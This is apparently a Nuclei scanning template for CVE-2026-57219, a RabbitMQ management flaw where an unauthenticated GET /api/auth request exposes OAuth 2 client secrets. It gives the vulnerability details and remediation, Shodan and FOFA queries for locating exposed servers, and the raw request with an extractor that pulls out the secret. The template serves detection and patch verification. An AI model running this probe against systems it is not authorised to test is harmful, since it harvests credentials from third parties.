id: CVE-2026-57219 info: name: RabbitMQ Management - OAuth 2 Client Secret Disclosure author: aryu-ru severity: high description: | RabbitMQ < 3.13.15, 4.0.20, 4.1.11, and 4.2.6 contains an information disclosure caused by the obsolete GET /api/auth endpoint exposing OAuth 2 client secrets when management.oauth_client_secret is configured, letting unauthenticated attackers access sensitive credentials, exploit requires management plugin and OAuth configuration enabled. impact: | Unauthenticated attackers can access OAuth 2 client secrets, leading to credential exposure and potential unauthorized access. remediation: | Update to versions 3.13.15, 4.0.20, 4.1.11, or 4.2.6 or later. reference: - https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-pj24-8j6m-vq9q - https://github.com/rabbitmq/rabbitmq-server/commit/98b1daf740237c85941e8addcbea6e74f4a2743c - https://nvd.nist.gov/vuln/detail/CVE-2026-57219 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-57219 epss-score: 0.01988 epss-percentile: 0.79307 cwe-id: CWE-522 metadata: verified: true max-request: 1 vendor: broadcom product: rabbitmq_server shodan-query: http.title:"RabbitMQ Management" fofa-query: title="RabbitMQ Management" tags: cve,cve2026,rabbitmq,broadcom,oauth,exposure,unauth http: - raw: - | GET /api/auth HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code == 200 - contains(content_type, "application/json") - contains_all(body, "oauth_enabled", "oauth_client_secret") condition: and extractors: - type: json part: body json: - '.oauth_client_secret' # digest: 490a004630440220706acd6180f6b9fcc42b9f8d3391a5d8e655b3d91c70e6e6783b35ba06ceebc90220730225f54b814b6c2ba344f3e6be5cfab6ca6a3b26083f8314ab7d2345b34955:922c64590222798bb761d5b6d8e72950